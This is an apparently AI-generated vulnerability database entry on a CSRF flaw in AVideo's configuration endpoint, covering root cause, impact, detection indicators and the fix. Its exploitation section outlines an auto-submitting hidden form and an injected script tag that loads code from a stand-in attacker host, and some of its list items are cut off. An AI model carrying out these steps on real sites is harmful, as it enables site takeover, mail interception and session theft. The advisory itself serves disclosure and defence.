
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-40925 is a Cross-Site Request Forgery (CSRF) vulnerability in WWBN AVideo, an open source video platform, that enables full site configuration takeover including encoder URL and SMTP credential replacement. It affects AVideo versions 29.0 and prior. The vulnerability was published on April 21, 2026, with a fix committed on April 24, 2026. It carries a CVSS v3.1 base score of 8.3 (High) (GitHub Advisory).
The root cause is a missing CSRF protection on the objects/configurationUpdate.json.php endpoint (also accessible via /updateConfig), classified as CWE-352 (Cross-Site Request Forgery). The endpoint relies solely on User::isAdmin() for access control and does not call forbidIfIsUntrustedRequest(), verify a globalToken, or validate the Origin/Referer header — despite the project already implementing these primitives and using them on peer endpoints like objects/userUpdate.json.php. Critically, AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, meaning the browser will automatically attach the admin's PHPSESSID cookie to cross-origin POST requests. Because the admin UI submits configuration via application/x-www-form-urlencoded (a CORS "simple" request), no preflight is triggered, allowing any attacker-controlled page to silently submit the form with the victim's session (GitHub Advisory, Fix Commit).
A successful CSRF attack rewrites dozens of global site settings in a single request, including the encoder URL, SMTP host/username/password/port, site <head> HTML, logo, favicon, contact email, and upload/download policies. Injecting arbitrary HTML via setHead() results in persistent stored XSS site-wide, enabling session theft of all subsequent visitors including other administrators. SMTP credential replacement allows the attacker to intercept all outbound mail (password reset tokens, signup confirmations), and encoder URL hijacking poisons downstream content metadata. Arbitrary file writes to the web root via base64-encoded logo and favicon fields further extend attacker control (GitHub Advisory).
A complete proof-of-concept HTML form payload with step-by-step reproduction instructions is publicly available in the GitHub Security Advisory, making exploitation straightforward for any attacker who can lure an authenticated administrator to a malicious page (GitHub Advisory). No privileges are required on the attacker's side — only user interaction (admin visiting the attacker's page) is needed. The EPSS score is 0.000170, indicating low current exploitation probability, and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time. No threat actor attribution has been reported.
/updateConfig or /objects/configurationUpdate.json.php endpoint.evil.html) hosted on an attacker-controlled domain containing a hidden form that POSTs to the victim's AVideo /updateConfig endpoint with attacker-chosen values for fields such as encoder_url, smtpHost, smtpUsername, smtpPassword, head (for XSS payload injection), and logoImgBase64.head field to a <script src="https://attacker.example.com/evil.js"></script> tag to achieve persistent site-wide JavaScript execution on all future visitors.evil.html, JavaScript calls document.getElementById('x').submit(), causing the browser to POST the form cross-origin with the admin's PHPSESSID cookie automatically attached (due to SameSite=None).{"status":"1",...}, confirming the configuration was saved. Verify by visiting any page on the victim site to observe the injected <head> content, or trigger a password reset to confirm SMTP relay hijack (GitHub Advisory)./objects/configurationUpdate.json.php or /updateConfig originating from unexpected IP addresses or with a Referer header pointing to an external domain; PHP error logs referencing configuration save operations at unusual times.videos/userPhoto/logo.png or videos/favicon.png with attacker-supplied content; changes to videos/configuration.php or the configurations database table with unfamiliar values.<script> or other HTML tags appearing in the site <head> across all pages; SMTP settings pointing to unknown relay servers; encoder URL changed to an external domain not previously configured (GitHub Advisory).The fix is available in commit f9492f5e6123dff0292d5bb3164fde7665dc36b4, which adds a call to forbidIfIsUntrustedRequest('configurationUpdate') immediately after the admin check in objects/configurationUpdate.json.php (Fix Commit). Administrators should update to a version of AVideo that includes this commit. As interim mitigations: restrict administrative access to trusted networks or VPN, monitor the configurations table and web root files for unauthorized changes, and review all other objects/*.json.php state-mutating endpoints for the same CSRF omission pattern. Additionally, consider implementing browser-level CSRF protection and auditing recent configuration changes for signs of tampering (GitHub Advisory).
The vulnerability was noted on social platforms including Mastodon and Bluesky shortly after disclosure, with automated CVE tracking accounts sharing the advisory. No significant named researcher commentary or major media coverage has been identified beyond standard vulnerability database aggregation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."